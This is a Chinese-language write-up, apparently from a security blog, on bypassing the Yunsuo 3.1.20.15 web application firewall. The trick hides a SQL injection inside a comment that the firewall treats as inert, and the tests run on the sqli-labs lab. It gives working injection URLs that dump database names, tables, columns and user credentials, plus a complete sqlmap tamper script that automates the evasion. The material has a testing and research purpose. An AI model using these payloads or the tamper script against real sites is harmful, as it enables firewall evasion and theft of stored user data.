前言
云锁更新到最新的版本之后,版本注释已经不能使用了,导致云锁又成为测试网站的一个难题,不过经过我们的测试,虽然版本注释已经不能使用了,但是我们可以使用正常的注释来进行注入,当然我们需要给它变个型。
环境介绍
操作系统:win2008
waf:云锁3.1.20.15
漏洞环境:sqlilabs
日期:2020.7.30
Bypass
1.首先我们安装好云锁之后,我们将其过滤规则配置如下
开启增强型防护
之前我们还可以使用版本注释来绕过进行注入,但是这次我们看最后一个规则,这个正则刚好限制了我们使用版本注释来绕过。
2.我们测试一下最基本的语句order by
,已经可以正常拦截。
3.如果我们将命令放入到注释中,就可以绕过云锁的检测,但是命令无法执行
这里我们可以知道,如果是在注释中的命令,云锁是不会拦截的,如果我们可以构造一个带有注释命令,但是注释没有被执行,我们就可以绕过云锁的检测了
4.构造一个不执行的注释
http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,2,3 -- +*/
这种情况我们可以发现,其中第一个单引号闭合了之前的单引号,然后我们由于第一个的id是-1,所以会执行或的判断,然后我们有判断了1="/*"
这种情况是判断了1是否等于/*
,但是连接了后面的语句之后,云锁把/*" union select 1,2,3 -- +*/
当做了注释中的内容, 所以没将/**/
里的命令没有进行过滤,导致绕过了云锁。
5.既然知道了如何绕过云锁,那么我们直接一条龙拿到数据即可
拿到所有的数据库
http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- +*/
拿到数据库中的表
http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 -- +*/
拿到字段名
http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273),3 -- +*/
拿到值
http://192.168.252.151/sqli-labs/Less-1/?id=-1' || 1="/*" union select 1,(select group_concat(username,password) from security.users),3 -- +*/
Tamper的编写
虽然成功绕过云锁注入,不过还有一个问题,就是使用这种方式来写tamper使用sqlmap进行测试替换起来这个1='/*'
兼容度不太好,我们可以对其进行改变来编写一个适合sqlmap使用的tamper。
首先我们继续进行测试,由于我们知道使用'/*'
可以绕过云锁,那么我们就继续使用这个来进行绕过测试,看能不能找出其他的方法。
首先经过我们测试,我们在查询数据的时候,'/*'
不会影响数据库语句的执行
不过在我们测试数值型的时候用这种方式就失败了
我们给其加上||
的时候,又成功了
我们了解这种情况之后,我们可以修改其判定条件让其可以进行正确的判断,接下来的测试我们将1='/*'
替换为1!='/*'
,这样一来我们前面的语句成为了一个整体,我们又可以正常进行后面的判断了,如果使用那么我们的盲注和报错注入将会失败。
最终我们修改为如下格式'1'!='/*'
接下来我们就开始进行tamper的编写,但是我们需要知道sqlmap在进行注入的时候使用了哪些语句,这样我们才能够很精准的替换,我们先写一个tamper来获取其注入语句
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.HIGHER
def dependencies():
pass
def tamper(payload, **kwargs):
f = open("YS4.txt",'a')
f.write(payload)
f.write('\r\n')
f.close()
return payload
我们在注入的时候使用这个tamper来进行注入--tamper 脚本名字
,最终我们获取了一下几种类型的注入
123
-123
-123'
-123"
-123)'
-123)
-123))'
;(SELECT ....
123%'
我们根据这些条件来编写正则
rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'
最终得到完整的tamper如下
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
author:Alexsel
"""
import os
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.HIGHER
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
if payload:
if(re.match("^[>=|<=]",payload)):
return payload
if(re.match("^-{0,1}?\d+$",payload)):
return payload
if(re.match("^\(SELECT",payload)):
payload = "|| 1='/*' "+payload
return payload
rex = '^-{0,1}?[\d|\w]*%{0,1}[\'|"|`]*\\)*[ |;]'
payload = re.sub(rex, lambda x:x.group(0)+" %26%26 1!='/*' ", payload)
return payload